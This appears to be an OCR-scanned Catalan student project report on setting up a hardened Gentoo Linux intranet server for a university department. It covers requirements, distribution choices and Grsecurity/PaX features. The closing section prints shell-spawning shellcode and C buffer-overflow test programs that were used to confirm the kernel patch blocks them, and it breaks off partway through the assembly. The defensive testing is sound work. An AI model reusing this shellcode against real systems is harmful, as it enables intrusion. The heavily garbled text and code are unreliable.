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1.0BJECTIUS

A datade Juny del 2002, la planaweb del Departament'Enginyerialnformaticai
MatematiquegDEIM) estrobavaen un estatbastantdesactualitzat arrossegavan
dissenyinconsistent pocformal, esva plantejara necessitatle crearunanovaplana
web de superiorqualitat. Desprésd'analitzarels requisits(que veuremmésendavant)
esva establircom a objectiugeneralla creaciéd'un servidorper l'intranetdel DEIM
gue albergues la nova plana web i oferis altre mena de serveis.

A continuacio tenim una captura de la antiga plana web del DEIM:

c Apllmcmnzs Accmnes Q. J’Ku@ .ﬁﬁ_ﬂ@ @ ’ j & - JD ag -ﬂ')) - = -_|uz 22 de may, 02:03 £ ’

[ﬁ Departament d'Enginyeria Informatica. . ]g Departament Enginyeria Infarmatica

[D 'M] Departament d’Enginyeria
Informatica i Matematiques
Universitat Ravira { Virgil

Carretera Salou s/n. Complex Educatiu. CF: 43006. Tarragona
Tel: +34 877.559.703. Fax: +34 977.559.710.E-mail. secdeim@etse urv.es

T {1l

MSIA

Master en Sistames Informatics Avoncats

DOCENCIA RECERCA
= Ensenyaments i Assignatures = Proper DEIminari
m | abarataris | Servidars Docents = Grups de Recerca
= Projectes Final de Carrera = Servidors de Recerca

= Canveni Universitat - Empresa
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English
PERSONAL INFORMACIO
= Carrecs | Comissions
m | listat General = Reglament de Departament
n |listat per Area: ATC, CCIA, DM, LS, = Manuals Cn-line
MAT = Praojeccid Exterior
» Professors Associats, Becaris, PAS » | ocalitzacia Geografica
= administracia del DEIM = | ogotip DEIM
= Master en Sistemes Informatics
Avancats
2 _l@ Departament Enainyeria Informatica - Mozilla
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2 ANALISI DE REQUISITS

APLICACIO WEB

Comquel'estatde la planaweb erarealmentdolent,esva contemplamarcar-secom
a objectiu primordial la elaboraciéd'unanova planaweb partint des de cero. Els
requeriments generals per portar a terme aquest objectiu eren:

- Facil de mantenir
La ideaerapodermodificardeterminadepartsde la webfacilmentsensehaverde
tocardirectamentl codi de les planesweb. Perpoderfer queaquestequeriment
sigui efectiu caldria utilitzar planes dinamiquesque accedeixina alguna font
d'informacié, com per exemple una base de dades.

- Rapid desenvolupament
El tempsde desenvolupamergraimportant,s’haviade tindre unaweb principal
preparadaen poc temps per poder substituir I'antiga i rebre opinions de les
persones que feien us d'ella.

- Disseny amb els colors oficials de la universitat
La planaweb haviade transmetreer si mateixaque estractavad'un departament
de la Universitat Rovira i Virgili. Per aix0 es va considerardes de bon
comengamentjue la utilitzacié de colors semblantsal que utilitza oficialmentla
Universitat seria imprescindible.

- No utilitzar frames a les webs
Els framessén una caracteristicade I'Ultima versio de 'HTML que permeten
visualitzara la mateixafinestra,dueso mésplanesweb a la vegadade forma que
facilmentespodenfer mendsL'inconvenientqueplantegeresqueno espodenfer
enllacosdesde planesexternescap aquestamenade websfacilmentquanvolem
gue un dels frames mostri una plana especifica (no la principal).

- Utilitzar tecnologies lleugeres
No esvolia fer Us de tecnologiespesadegue facin la navegacidméslenta,com
per exemple planesrealitzadescompletamentamb MacromediaFlash. No era
necessariaina plana web espectacularsind que s'apostavanés per una plana
practica i formal.
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- Utilitzacio d'estandards
La planaweb deviaseraccessiblelesde qualsevolsistemamésconcretamenties
de qualsevol navegador. Per aguesta rad s'havia d'optar per la utilitzacié d'estandars
i intentar fer que la visualitzacio fos molt similar a tots els navegadorsmés
populars: Internet Explorer, Netscapei Mozilla. En cap moment es volia
discriminar a cap usuari o afavorir segons quins sistemes davant d'altres.

- Tornar a classificar els continguts existents
S'haviade tornar a organitzarels contingutsja existents.eliminar tot allo que no
fos necessari i incorporar més informacio en cas de necessitat.

- Traduir la informacié més important
La informacio6 imprescindibleper trobar el departamenb per trobar tant algun
professorcom algunade les sevespropostesle tesideviasertraduitals 3 idiomes:
Catala, Angles i Castella.

Els requerimentd'aquestobjectiu van crear noves necessitatskl servidor que en
aguellmoments'estavautilitzant per albergarla planaweb eracontrolatper I'escola
(ETSE)i no disposavade les ultimes tecnologiesper la realitzaciode planeswebs
dinamiquesni tan solsensoferiemla possibilitatde tenir accésa unabasede dades.
Per aguestsmotius es va crear un nou objectiu: tenir un servidor propi per la
universitat de forma que aixi es podria utilitzar tot allo que necessitavem.

SERVIDOR

Eranecessardisposard'un servidora on albergarla futura planaweb. Aquesthavia

de disposarde les tecnologiesnecessarieper desenvolupafta plana.La maquinaria
inicial que podiem utilitzar consistia en un ordinador amb les seguents
caracteristiques:

Processador Intel Pentium MMX 150 Mhz
RAM: 32 MB

2 GB de Disc dur.

Més tard es va afegir un altre disc dur de 2 GB.

Més tard, quanel projectepracticamenia estavadesenvolupaésva fer un canvide
hardware:

- Processador Intel Pentium 1V 2.0 Ghz
- RAM: 256 MB
- 40 GB de Disc dur
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Cal remarcar que totes les decisions de dissenys es van fer tenint en compte la primera
magquina no esva preveureesncapmomentunaampliaciodela potenciade hardware
de la que es disposava.

Comquearael departamentlisposariad'un servidorper ell mateix,vansorgir noves
necessitats:

- Planes personals dels professors
Les planespersonalsdels professorses podrientraslladarcap aquestservidorde
forma que aixi es puguin beneficiar de les tecnologies que s'implantarien en aquest.

- Nous serveis
A més d'oferir la plana web principal i I'allotjament de planes personalsa
professorses podria aprofitar la maquinaper a oferir qualsevolaltre menade
serveisque poguessinser explotatspel departamentPrincipalmentserveisper
facilitar la comunicacio interna entre tot el personal del departament.

- Administraci6 del servidor
El servidorcaliaseradministratper unapersonaguefos el responsablelavantde
gualsevolmenade problemai ques'encarreguede realitzartasquesadministrativa
com donar d'alta usuaris, resoldre dubtes, etc...

Un cop es van establir tots els objectius es va veure clarament que es podia resumir tot
enla creaciod'unservidorper la intranetdel Departament'Enginyerialnformaticai
Matematiques (DEIM).
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3.DECISIONS DE DISSENY

Un coptenimclar quel'objectiudel projecteesrealitzarun servidorperla intranetdel
Departament’'Enginyerialnformaticai MatematiquegDEIM), vaig haverde fixar
quins serien els criteris més generals per desenvolupar-ho.

SorFTWARE LLIURE

La primerai potsermésimportantdecisidque vaig prendreva serla total utilitzacié
de Software Lliure per a muntar el servidor. EI model de Software Lliure ens
proporciona tota una serie de beneficis importants:

- Sense restriccions d'us
Utilitzar SoftwareLliure implica no tenir caprestriccida I'hora d'utilitzar-ho, de
forma que ho podem instal-lar a tantes maquines com sigui necessari per exemple.

- Accés al codi font
Quanutilitzem SoftwareLliure significa que podemaccediral codi font de totes
les aplicacionsque estem utilitzant. Aixo significa que podem comprovarla
gualitatde lI'aplicaciéi assegurar-nage quefa el quehadefer, podemestarsegurs
gueaquesprogramarino tindrabackdoorsni enviarainformaciéconfidencialcap
a alguna empresa.

- Modificacions
El SoftwareLliure enspermetrealitzarqualsevolmenade modificacidéal codi de
forma que el podemmillorar, inclis adaptara les nostresnecessitatsAquesta
versatilitat no ens la ofereix cap producte propietari actualment.

- Distribuci6 gratuita
SoftwareLliure no essinonim de Softwaregratuit, perd si podemafirmar quela
majoriad'aquestipus de programariespot trobargratuitament la xarxa.Aquesta
situacibesdegudaa queamb aquestanenade softwarequalsevolté la llibertat de
redistribuir-ho tant fent pagar com gratuitament.

Per tant, escollint utilitzar Software Lliure podiem muntar un servidor tenint el control
de cadalinia de codi que s'executa a méssensehaverde pagargransquantitatsde
dinersa terceresempresesA més,existia un factor molt important que clarament
afavorial'us de SoftwareLliure, disposavend'unamaquinamolt poc potenti com
gueles solucionspropietariegjue existeixentenenuns requisitsmolt méselevatsde
hardware, aquestes quedaven descartades des d'un primer moment.
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SEGURETAT

La segonamés important decisié de dissenyque vaig prendreva ser seguir una
estrictapolitica de seguretat. Actualmentexisteixenal mén milions de maquines
connectadesa la xarxa d'Interneti gran part d'aquestessdn configuradesper
administradorinexpertso incompetentssituacié molt atractivaper aquellsintrusos
denominatsrackergqueesdediquena utilitzar elsordinadorssulnerablege la xarxa
pel seu Us personal.

Es a dir, hi han molts usuarisexpertsdisposatsa aconseguiraccésno autoritzata

gualsevolmaquinaper obtenirinformacié privilegiadai privada.l no tan sol experts,
tambéhi haun ampli grup d'usuarisambunsnivells de coneixementsio molt elevats
gueesdediguena entraren maquineautilitzant einesfetesper experts,de formaque

ni tan solsbusquercobrir les sevesnecessitatmtel-lectualsaprenensobreseguretat,
simplementvolen sentir-sepoderoso4utilitzant einesque realmentno entenen.Per
tant,no cal ni serun granexpertenseguretaaivui endia perpoderentrarenalgunade

les maquines que hi han connectades a Internet.

Aquesttipusde perills s’hand'evitar,no nomésper protegirla informacidé delsusuaris
del sistema, sin6 que un intras tingui el control d'aguesta maquina significa que podria
utilitzar-la contra una altra de la propia xarxa de la universitat.

Per tant, es obligat establir una politica de seguretatrestrictiva per tal d'evitar
qualsevolintris. Tot i aix0, perdesgracia com ja s’hadit moltesvegadespertindre
un ordinadorcompletamensegurhauriemd'aillar-hode qualsevolxarxai tancar-ho
de forma que tampocpugui ningua accedirfisicamenta ell. A pesarde seguiruna
politica de seguretaestrictamai enshem de confiari pensarque tenim un sistema
segur, doncs cap sistema es pot considerar segur avui en dia.

La politica de seguretat de la que parlo constara de diversos punts importants:

- Actualitzaci6 periodica del software
El programariutilitzat al servidorhade seractualitzatfreqiientmenteformaquea
mesuraque es descobreixinnous bugs de seguretai es corregeixin,la maquina
sempredisposide la versio amb el problemasolucionat.Aixi cap intris podra
utilitzar vulnerabilitats

- Serveis minims
El serveisque s'ofereixincapa I'exterior hande serels minimsnecessarisTot el
gueno calguiseracceditdesde I'exteriorhadeserbloquejat.inclislesaplicacions
instal-ladeshan de ser les minimes,nomésles que es necessitenAixi evitarem
patir els bugs de seguretat d'aplicacions que realment no necessitem i no usem.

10
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Firewall
Configurarel firewall del sistemaper evitar atacsdesde I'exteriori per bloquejar
aquells serveis que no haguin de ser accessibles.

Connexions xifrades

La xarxade la Universitatesun lloc molt adientper a espiartotesles connexions
gue esfan desde qualsevolmaquinainternacap a un altre internao externa.La

topologiad'aquestgermetveurefacilment tots els paquetsque son enviatspels

ordinadors(tambédependel segmenta on enstrobem),si a mésenviemtotala

informaciésensecapmenad'encriptaciéenstrobemambun puntfeble quehemde

solucionar.

Actualmentexisteixeneinesmolt bonesper observartot el trafic que passaper la
xarxa, aquestanenade programesson anomenatdiabitualmentsniffersi hi han
per qualsevolsistemaoperatiu.Es per aixo que qualsevolintris podriaarribar a
connectar-s@ la xarxade la universitati utilitzar aquestgprogrameger envairla
intimitat delsusuariso inclus per obtenirpasswordsD'aquestdormapodriaentrar
en maquinesde la universitat(inclos el nostreservidor) amb els passwordgjue
hagi capturat.

Pertant, esvital quetota connexidcontrael servidorquerequereixiautentificacio
ha de ser xifrada utilitzant els protocols més habituals en cada cas:
Connexions via web: protocol SSL

- Connexions per pujar/baixar arxius: protocol SecureFTP (SFTP)
Connexions per accedir al sistema remotament: SecureSHell (SSH)
Aplicacions que no disposin nativament de suport per I'encriptacio: stunnel

Accés restringits al usuaris del sistema

S'had'evitarlo maxim possiblequeels usuaristinguin accésa tot el sistemao que
puguin realitzar connexionscap a altres maquinesdes del seucompteal nostre
servidor.

Utilitzaci6 de Software Lliure

Aquest requerimentja forma part d'unade les decisionsper portar a terme el
projecte,els motiusper considerar-hdambécom a partde la politicade seguretat
ja hansigut tractats.Aquesttipus de programariens permetaccediral seucodi
font, veurequeesel que estafent encadamomenti podemestarl00% segursgue
no esta enviant dades privades a cap empresa.

11
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SISTEMA

Per escollir el sistemaoperatiu lliure que utilitzaria tenia tota una gran llista de
possibilitats:

- NetBSD (http://www.netbsd.org/)
Sistematipus UNIX, segur i altament portable, disponible per multitud de
plataformedesde AlphaServersa 64 bits i sistemed'escritorisfins a dispositius
de ma. Pertant, la portabilitat es la sevagran virtut i aixo es un factor que no
necessitem.

- OpenBSD (http://www.openbsd.org/)
El projecte OpenBSD produeix un sistema operatiu lliure tipus UNIX,
multiplataformabasaten 4.4BSD.Es concentrerenla portabilitat,cumplimentde
les normesy regulacions.correcionsdel codi, seguretatproactivay criptografia
integrada.A mésinclou emulacidde binaris per la majoria dels sistemesSVR4
(Solaris), FreeBSD, Linux, BSD/OS, SunOS y HP-UX.

Pertant,estractad'unsistemaorientata la seguretatinclis podenafirmarqueen7
anysnoméshantingut nomeésl forat de seguretatemot, per tantespodriatractar
d'una bona opci6 per implementar el servidor.

- FreeBSD
Estractad'unavancasistemaoperatiuperarquitecturex86, DEC Alphay PC-98,
el suportper altresarquitectureestaen desenvolupamenkreeBSDesun derivat
de BSD UNIX, la versié de UNIX realitzadaen la universitatde California,
Berkeley.

FreeBSD ofereix altes prestacionsen comunicacionsen xarxa, alt rendiment,
seguretat compatibilitat,encarainexistentsen altres sistemesperatius(incluent
els comercials de més renom).

En definitiva aqueskestractadel méspopulardetots elsBSDsel qualescentraen
obtenir un rendiments molt elevats.

- GNU/Linux (http://www.gnu.org - http://www.kernel.org/)
Sistema operatiu el qual esta compost per les eines GNU i el nucli Linux

- EinesGNU: RichardStallmanva iniciar el projecteGNU al 1984, consistiaen
crearun sistemaoperatiu(kernel, llibreries, eines...)lliures. En aquellany van
decidircomencaprimer perleseines(editors,compiladors...) deixarel kernel
pelfinal. Al 1991ja tenienla major partde les einesdesenvolupadesesvan
trobar amb un kernel lliure desenvolupaper una personafora del projecte
(Linus Torvalds),llavors van veure que podienajuntarles einesGNU ambel
nucli Linux i aixi va sorgir el sistema operatiu GNU/Linux.

12
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— Nucli Linux: creatoriginalmentperLinus Torvaldsal 1991 enla Universitatde
Helsinki (Finlandia).Ha sigutdesenvolupaper milersd'usuarisde computadors
de tot el mon, contribuinttots ambl'Unic fi d'aconseguiun sistemaconfiable,
robust, poderos, fiable i segur.

Estractadel sistemaoperatiuméspopulardintre de tots els sistemedliures, ésel
gue mésrecolzamentté per part de les empresescontaamb el major nombre
d'aplicaciond al sertan popularpodemtrobar suporttécnic en milers de pagines
web/llistes de correu/forums,de forma que aconseguirdocumentaciésobre
gualsevol detall del sistema és molt facil.

Tots els sistemestractatssén d'una altisima qualitat i seguramentjualsevold'ells
podriahavercomplertles expectativegstablerteperla realitzacidod'aquesprojecte,
pero finalment em vaig decantarper un sistemaGNU/Linux ja que,com esveu a
I'analisi, agafales millors caracteristiquesle cadascuni inclis afegeix les seves
propiesper crearun entornpotent,seguri amb la comunitatd'usuarismésgran del
mon.

Un cop escollit el sistemaoperatiuGNU/Linux em vaig haverd'enfrontara la dura

elecciéd'unadistribucié.Les distribucionsde GNU/Linux no sonmésque unaforma

concretad'empaquetatota unaseriede programarijunt ambunesaplicacionsextres
quefaciliten el mantenimentgde forma que hi hanempresesjue creenla sevapropia

distribucié i desprésofereixen tota una série de serveis al voltant d'aquesta.
Basicamenttotes son GNU/Linux de forma que al oferir diferents formes

d'empaquetar administrarel sistemas'estaoferint a l'usuarila possibilitatd'escollir

allo que més s'adequa a les seves necessitats 0 gusts.

Seguidament passo a detallar les més importants distribucions:

- RedHat (http://www.redhat.es/)
Es tracta d'una distribucié comercial construidaper I'empresaRedHat. Quan
compremun sistemaoperatiuRedHatno noméspaguempel softwaresiné que
estemadquirinttot un conjuntde serveiscom pot serl'atencidal client durantun
periodedeterminat.De totesformestambéestrobala sevadistribucio per baixar
gratuitament la xarxa,evidentmenutilitzar aquestarersiono ensproporcionaels
serveis dels que hem parlat anteriorment.

RedHatesla distribuciélider mundial, estaorientadaa empreses intentafacilitar
la vida a I'administradoramb eines de configuracioé desenvolupadeper ells
mateixos. Incorpora un sistema de paquets RPMs, per facilitar la
instal-lacié/desinstal-lacié de aplicacions.

- Mandrake (http://www.mandrakelinux.com)
Aquestadistribucié es centraprincipalmenten l'usuarimig d'escriptori,incorpora
gran quantitatd'assistentper les tasquesmés comuns. També es tracta d'una
distribucié comercial amb versié gratuita per descarregar. Actualment I'empresa
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quehi haal darreraestatenintproblemesconomicslegutsa unamalagestié,pero
encaraestanlluitant per superarla crisisi ofereixentota unaseérie de serveisal
igual que RedHat.

Mandrakeva serdesenvolupada partir d'unaRedHat,per aixo heretael sistema
de paquetsRPM que facilita la instal-lacid/desinstal-lacidle aplicacions.En
general es una distribuci6 perfecta per usuaris novells.

— UnitedLinux (http://www.unitedlinux.com/)
Més que unadistribucié per si mateixaestractad'un acordoberta mésempreses
realitzat per les seglients companyies:

- Connectiva S.A.
SCO Group
SuSE Linux
Turbo Linux

Entre les quatre empreseslesenvoluperuna distribucié basecomd anomenada
UnitedLinux a la qual cadascunal'ellesli afegeixles seveseinespersonalsper
competir per separatpero sempre sense modificar la base. D'aquestaforma
ofereixenun estandardort per podercompetirambla tot poderoseRedHat.Aixi,
si hi ha terceresempresegjue certifiquen que els seusproductesfuncionena
UnitedLinux significa realmentque aquestsproductesfuncionarana cadaunade
les distribucions de les 4 empreses.

- Debian GNU/Linux (http://www.debian.org)
Distribucié no comercial,creadaper usuarisde tot el mén amb el compromisde
gue mai sigui gestionadaper cap empresa.Té un sistema molt estricte
d'actualitzacio de forma que tenen 3 versions diferents:

- Woody: versié estable.
- Sarge: versio de proves (testing).
- Sid: versio inestable.

Degut a aquestestricte control sobre les aplicacions,la versi6é establedisposa
d'aplicacionsamb versionsbastantantiguesja que les més novesno han sigut
encara suficientment provades.

Utilitza un sistemade paquetsdeb,ambeinesque permeterunainstal-laciofacil i

automaticacom apt-getambla qualespot anaractualitzanta distribuciédeforma
senzillaperinternetdeformaquesi sorgeixerbugsde seguretaespuguincorregir
rapidament. La seva comunitat d'usuaris és potser la més gran del mon.

- Slackware Linux (http://www.slackware.com)
Distribucié dirigida per Patrick Volkerding, va ser una de les primeres
distribucionsseriesde GNU/Linux (la versi6 1.0 datade I'11 de Juliol del 1993).
Té molt anys d'experiencia ja i es probable que justament per aixo sigui una de les
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distribucionsméstradicionals.El seuobjectiu sempreha sigut mantenir-hotot lo
més simple possible,no complicar-seamb aplicacionsinnecessariesi fer una
distribucié amb centenarsd'aplicacionsde les quals la gran majoria no son
utilitzadeshabitualment.Com s'acostumaa dir KISS (Keep It Simple, Stupid!),
aquesta ha sigut des de sempre la seva filosofia.

Té un sistemade paquetgyestionatcompletamenper scriptsen bash,els paquets
tenen l'extensi6 .tgz i no te sistema per control de dependéncies.

En generalestractad'unadistribucio molt facil d'administrar(al contraridelo que

la granmajoriade personegreu),la sevasimplicitatatorgael maxim controlsobre
gualsevolpart del sistema.En tot momenttensla capacitatd'instal-larnomésel

nombred'aplicacionsgue s6n necessaries no creaun sistemaple de programes
inatils que l'Gnica cosa que fan es incrementarel risc a que hi hagui una
vulnerabilitat, la qual pugui ser aprofitada per un intrus.

- Gentoo Linux (http://www.gentoo.org)
Esla distribucio mésjove de les esmentades| seuorigendatad'abril del 2002.
Rapidamens'hacreatunagran comunitatd'usuarismolt activaque la mantenen.
Té unescaracteristiquesnolt innovadoresmolta gent consideraque Gentooes
més bé una metadistribucié que et permet construir el teu sistema al teu gust.

La filosofia que segueixesla de compilartot el sistemaamb les optimitzacions
adientspel sistemaa on s'utilitzara,d'aquestdorma realmentaprofitemal maxim
les prestaciongle les maquinesactuals.La majoriade les altresdistribucionsestan
compiladesper i386 de forma que no utilitzen les novesinstruccionsque s‘han
afegit als ultims processadors.

El seusistemade paquetdasatsen ebuildsfa quela instal-lacid/desinstal-lacide
programessigui molt senzilla, té control de dependencie$ disposad'una gran
guantitatd'ebuilds al seu portage (llistat d'aplicacions).Més concretamentgls
ebuildsautomatitzertot el procésde control de dependénciesiescarregael codi
font, compilacio i instal-lacio.

Manteniractualitzatel sistemaésextremadamerfacil graciesal'scriptemergetot
el sistema de paquets esta implementat utilitzant Python).

Les primeres distribucions que vaig descartarvan ser les comercials (RedHat,
Mandrake UnitedLinux),no esvolia fer capinversiéen el desenvolupament'aquest
projecte,per tanthauremd'utilitzar les sevesversionsgratuitesque no ofereixencap
menade servei.Es a dir, estarienenigualtatde condicionsque les no comercials El
motiu principal per descartarles distribucionscomercialses que no disposende
comunitats d'usuaris tan actives com les altres.

Comgueinicialmentdisposavend'unamaquinamolt poc potent,de les distribucions
no comercials la més adient va resultar ser una Slackware. La seva particular visi6 de
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fer les cosestan simplescom sigui possibleera unaavantatgeno ompliriemel poc
disc dur queteniemamb aplicacionsque no utilitzariem, tindriemun control absolut
sobre el que hi ha instal-lat, etc...

Com ja hem fet referenciaen altres seccions,quan el projecte estavapracticament
desenvolupaes va fer un canvi de hardware.En aquell momentes va haver de

replantejatla eleccidinicial dela distribucié Slackware ja queels motiusquevanfer

d'aquestada favorita ara havien canviatamb la nova maquinaria.Es va tornar a

avaluarla situacioi de les distribucionsno comercialsva sortir com a clarafavorita

Gentoo. Amb aquestsistemaaprofitariemal maxim la maquinanova de la que

disposavemgraciesa les compilacionsoptimitzades.Un altre punt a favor erala

facilitat ambla que espodiamantenirel sistemaactualitzat,amb Slackwares'havia
experimentaio dur que resultavadesenvolupaaquestatascasensetenir una eina
automatitzadajue facilites el procés.Actualmentel servidorté una Gentoo Linux

optimitzada al maxim.

(GRSECURITY KERNEL PATCH

Un cop ja s'haviafet la elecci6 del sistemaoperatiu Gentoo GNU/Linux, es va

consideraita possibilitatd'afegirnovescaracteristiquede seguretatl nucli (kernel).

Va ser llavors quan es va avaluar un patch amb molt bona reputacié anomenat
Grsecurityque afegiaunescaracteristiqguesnolt interessantal kernel que passoa

enumerar:

CARACTERISTIQUES DEL sisTeEmaA MAC

- Politica de seguretat reforzada

- Suportde permisogde ptraceperescripturalectura,afegir,executaryeurei nomeés
lectura.

- Suport de flags per amagar, protegir i sobreescriure.

» Suport dels flags de PaX

- Proteccié de memoria compartida

- Resposta local integrada per qualsevol atac

- Subject flag que assegura que un procés no executi codi trojanitzat

- Mode d'aprenentatgantel-ligent que produeix menys privilegis ACLs si no
existeix configuracio

- Facilitats per auditories

« ACLs per els recursos del sistema

» Socket ACLs

- ACLs per arxiu/procés

- Proteccié davant de forga bruta d'exploits
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- Protecci6 de /proc/pid descriptors d'arxius/memoria

+ Les ACLs poden ser situades en arxius/processos no existents
« Regeneracio d'ACL

- Mode administracié per us regular de les tasques de lI'administrador del sistema
- Sistema ACL es segellat fins que I'administrador no surti.

» Suport per globbing en objectes ACL

» Logs configurables

- Contabilitat de processos configurable

- Configuracio facilment interpretada per humans

- Sense dependéncia del sistema d'arxius

- Sense dependéncia de l'arquitectura

- Escalable: suporta tantes ACLs com memoria que pugui utilitzar
« No runtime memory allocation

+ SMP segur

» Cost O(1) per la majoria d'operacions

» Inclou directives per ACLs addicionals especifiques

- Capacitat per activar, desactivar i recargar

« Opcib a l'espai d'usuari per provar els permisos ACL

- Possibilitat d'amagar el processos del kernel

¢ ResTrIccions CHROOT

- Impossibilita afegir memoria compartida fora del chroot

+ Impossibilita matar fora del chroot

- Impossibilita ptrace fora del chroot (depen de l'arquitectura)

« Impossibilita capget fora del chroot

- Impossibilita setpgid fora del chroot

- Impossibilita getpgid fora del chroot

+ Impossibilita getsid fora del chroot

« Impossibilita enviar missatges amb fcntl fora del chroot

- Impossibilita veure qualsevol procés fora del chroot, inclis si /proc esta montat
+ Impossibilita muntar o remuntar

+ Impossibilita pivot_root

- Impossibilita doble chroot

- Impossibilita fchdir fora del chroot

- Forca chdir("/") després del chroot

+ Impossibilita (fjchmod +s

+ Impossibilita mknod

- Impossibilita escriptures sysctl

» Impossibilita escalada de prioritats

« Impossibilita conectar a un unix domain socket abstracte fora del chroot
» Log d'execucions dintre del chroot
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* PROTECCIONS PER LES MODIFICACIONS DE L'ESPAI D'ADRECES

- PaX: Implementacidbasadaen paginesamb espaisd'usuarisno executablegper
1386, sparc, sparc64, alpha, parisc, and ppc

- PaX: Implementacidbasadaen segmentaci@mb espaisd'usuarisno executables
per i386 amb un altisim rendiment

- PaX: Implementacidbasadaen segmentacide paginesde kernelno executables
per i386

- PaX: Restriccions mprotect per preveure nou codi al entrar en una tasca

- PaX: Pila i base mmap aleatoria (886, sparc, sparc64, alpha, parisc, and ppc

- PaX: Base executable aleatoria per i386, sparc, sparc64, alpha, parisc, and ppc

- PaX: Pila del kernel aleatoria

- PaX: Emulaci6automaticade sigreturntrampolines(per compatibilitatamblibc5,
glibc 2.0, uClibc, Modula-3)

- PaX: Sense reubicaci6 de ELF .text

- PaX: Emulacio de trampoline (GCC y linux sigreturn)

« PaX: Emulacié PLT per arquitectures no i386

- Impossibilitat de modificar el kernel via /dev/imem, /dev/kmem, o /dev/port

« Opci6 per desactivar I's de raw 1/O

- Eliminacio de les adreces de /proc/<pid>/maps

* CARACTER[STIQUES D'AUDITORIA

- Opcio per especificar un grup per auditar
- Logging d'execucions amb arguments

- Logging de la denegaci6 de recursos

- Logging de Chdir

« Logging de mount i unmount

- Logging creacié/eliminacio de IPC

- Logging de senyals

- Logging de fork erronis

- Logging de canvi d'hora

* CARACTERI'STIQUES D'ALETORIETAT

- Entropy pools més llargues

- TCP Initial Sequence Numbers aleatoris
» PIDs aleatoris

+ |IP IDs aleatoris
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TCP source ports aleatoris
RPC XIDs aleatoris

e ALTRES CARACTERISTIQUES

« Restriccions al /proc per no revelar informacio sobre els propietaris dels processos

+ Restriccions amb els enllagos simbodlics o durs per prevenir /tmp races

» Restriccions FIFO

» Restriccions al dmesg(8)

- ICMP echo IDs alterats

- Implementacié millorada del Trusted Path Execution

« Restriccio al sockets basats en GID

- Practicamentotesles opcionsson configurablesamb sysctl,amb mecanismesle
bloqueig

- Totesles alertesi opcionsd'auditoriasuportala caracteristicale loggejarla IP de
l'atacant

- Connexions stream amb unix domain sockets porten la IP de I'atacant amb ells

- Detecci6 de les connexions locals: copia la IP de I'atacant a altres tasques

+ Nivells de seguretat: Low, Medium, High, i Custom

« Quantitats configurable de logging

Les caracteristiguegle llistes de control d'accés(ACL) no es van considerar
importantsno eraun requisitimprescindible no esfariasd'ell. Perototala restade
possibilitaterenmolt interessantsestaverorientadesa evitar atacscontrael sistema
fent més dificil I'execuciéd'exploits que aprofiten errors de programes,com per
exempleal fer quela pila del processo$0 sigui executablesvitariemproblemesde
seguretat amb gran part dels buffer overflows.

Un cop aplicatel patchal kerneli recompilat,esva provarl'eficaciadavantd'alguns
exploits simples que simulaven buffer overflows:

e ExpLor: Tl.Cc

Aquest programa intenta utilitzar strcpy() per sobrepassar el buffer:

#i ncl ude <stdi o. h>

#i ncl ude <string. h>

#i ncl ude <sys/types. h>
#i ncl ude <stdlib. h>

char shellcode[] =
"\ xeb\ x1f \ x5e\ x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0O\ x0
bll
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xc
dll
"\x80\xe8\xdc\xfi\xff\xff/bin/sh";

char large_string[128];

/*
* Return 1 if at least one of the bytes in addr is 0x00; else
return O.
*/
int contains_null_bytes(caddr_t addrp) {
uint addr = (uint) addrp;
return !(addr & Oxff &&
addr & 0xff00 &&
addr & 0xff0000 &&
addr & 0xff000000);

}

void foo() {
char buffer[96], *p;
int i
long *long_ptr = (long *) large_string;

printf("This program tries to use strcpy() to overflow the
buffer.\n");

printf("If you get a /bin/sh prompt, then the exploit has
worked.\n");
printf("Press any key to continue...");
getchar();

/*
* Make sure that there are no zero bytes in the starting
address in
*  puffer[]. If so, find the first address  containing no zero

bytes.

*/

for (p=buffer; contains_null_bytes(p); p++);

if (contains_null_bytes(p)) {

printf("We can't find an acceptable address that doesn't
contain\n");
printf(“a zero byte. Giving up.\n");
exit(-1);
}

for (i=0;i<32;i++)
*(long_ptr + i) = (int) p;

for (i = 0; i < sizeof(shellcode)-1; i++) {
large_string[i] = shellcode]i;

}
strcpy(p, large_string);

return;
}
int main(int ac, char *av[]) {
foo();
printf("If you see this  statement, it means that the buffer

overflow\n");
printf("never occurred.\n");

return O;
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e ExpLoiT: TH.C

Aquest programa intenta sobrepassar e buffer utilitzant strcat():

#i ncl ude <stdi o. h>
#i ncl ude <string. h>
#i ncl ude <sys/types. h>
#i ncl ude <stdlib. h>

char shellcode[] =
"\ xeb\ x1f \ x5e\ x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0O\ x0
bll

"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xc
dll
"\ x80\ xe8\ xdc\ xf f\ xf f\ xff/bin/sh";

char large_string[128];

/~k
* Return 1 if at least one of the bytes in addr is 0x00; else
return O.
*/
int contains_null_bytes(caddr_t addrp) {
uint addr = (uint) addrp;
return !(addr & Oxff &&
addr & Oxff00 &&
addr & Oxff0000 &&
addr & Oxff000000);

}

void foo()

char buffer[96], *p;
int i;
long *long _ptr = (long *) large_string;

printf("This program tries to use strcat() to overflow the
buffer.\n");
printf("If you get a /bin/sh pronpt, then the exploit has
wor ked. \n");
printf("Press any key to continue...");
get char ();

/*
* Make sure that there are no zero bytes in the starting
address in
* puffer[]. If so, find the first address containing no zero

/
for (p=buffer; contains_null _bytes(p); p+t);
if (contains_null_bytes(p)) {
printf("We can't find an acceptable address that doesn't
contai n\n");
printf("a zero byte. Gving up.\n");
exit(-1);

byt es.
*

}

for (i =0; i < 32; i++)
*(long_ptr + i) = (int) p;
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for (i =0; i < (int) strlen(shellcode); i++)
| arge_string[i] = shellcode[i];

buffer[0] = (char)NULL

[lstrcat(p, large_string);

strncat(p, large_string, 1000);

return;
}
int main(int ac, char *av[])
{
foo();
printf("lIf you see this statenent, it nmeans that the buffer\n");
printf("overflow never occurred.\n");
return O;
}

e ExpLOIT: T6.C

Aquest programa intenta sobrepassar el buffer amb la funcié scanf():

#i ncl ude <stdi o. h>
#i ncl ude <string. h>

/~k
jm 1f
0: pop %es
nov %esi , Ox8( Y%esi)
xor Yeax, Yeax
nov %l , Ox7(%esi)
nov %esi , Yed
add $4, %edi
nov %eax, Ox8( %edi )
add $7, Yeax
add $4, Yeax
nov o%esi , Yebx
